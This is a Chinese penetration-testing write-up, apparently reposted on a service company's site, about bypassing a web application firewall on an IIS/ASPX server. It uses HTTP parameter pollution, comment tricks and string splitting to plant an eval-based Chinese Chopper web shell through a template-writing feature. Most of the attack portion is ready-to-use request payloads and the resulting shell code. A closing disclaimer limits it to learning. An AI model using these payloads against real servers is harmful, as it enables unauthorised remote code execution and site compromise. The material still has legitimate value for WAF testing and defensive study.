实战|记一次iis+aspx环境下利用http参数污染绕过_集群智慧网络安全云
全国客户服务热线:4006-054-001 疑难解答:159-9855-7370(7X24受理投诉、建议、合作、售前咨询),173-0411-9111(售前),155-4267-2990(售前),座机/传真:0411-83767788(售后),微信咨询:543646
企业服务导航

实战|记一次iis+aspx环境下利用http参数污染绕过

发布日期:2024-05-19 浏览次数: 专利申请、商标注册、软件著作权、资质办理快速响应热线:4006-054-001 微信:15998557370


实战|记一次iis+aspx环境下利用http参数污染绕过

环境介绍 Server: Microsoft-IIS/10.0 X-AspNet-Version: 4.0. waf:某不知名waf 漏洞点情况 新建模板处,可以直接写入内容到文件: 但是一写入正常的aspx语句就被拦截,连简单的输出语句都不行: bypass过程 一开始也试过诸多绕过方法,包括各种常见编码、chunked编码等等,都不太行。 然后尝试了一下,看有没有http参数污染(两个code参数): 访问下生成的aspx文件: 可以看到确实是可以的,但是中间有个逗号,我们该怎么利用来写入aspx文件呢? 比如一个最简单的输出hello world: <%@Page Language="C#"%> <% Response.Write("hello,world"); %> 之前我们通过测试知道<% Response.Write("hello,world"); %>这个会被waf拦截,删掉<%之后呢? 可以看到成功上传,那么思路就来了,将<%%>拆分就行,但是怎么让服务器忽略掉那个逗号呢? 自然是使用注释。 aspx是支持 “//”的注释方式的,然后我们需要使用换行,把我们的内容换到下一行避免被注释,于是: 看看生成的文件: 然后我们试着拆分前面被拦截的那个输出hello world的语句: code=<%@Page Language="C#"%><% //&code=%0aResponse.Write("hello,world"); %> 成功生成: Getshell 经过了好一番尝试,发现waf还过滤了Request等关键词,eval()可以上传,但是括号里面有内容比如eval(xxx)就不行。 参考了这篇文章里的注释符号: https://www.cnblogs.com/xiaozi/p/7566795.html 将 eval(a) 拆分为 eval/*-/*-*/(a/*,*/) Request就直接用加号进行连接,比如:"Req"+"uest" 最终结合hpp来利用,上传菜刀一句话的payload为: code=<%@ Page Language = Jscript %><% //&code=%0avar+a%3d"ev"%2b"al"%2b"(Reque"%2b"st.Item["c"%2b"o"],"%2b""uns"%2b"afe")%3b"%3b eval/*-/*-*/(a/*&code=*/);%> 这个生成的文件内容应该是: <%@ Page Language = Jscript %><%//, var a="ev"+"al"+"(Reque"+"st.Item["c"+"o"],"+""uns"+"afe");"; eval/-/-/(a/,*/);%> 上传: 成功拿到一个菜刀shell,当然,菜刀因为waf的原因不能用: eval都行了,还怕拿不到shell? 文章来源:乌云安全 黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担! 如侵权请私聊我们删文 END

实战|记一次iis+aspx环境下利用http参数污染绕过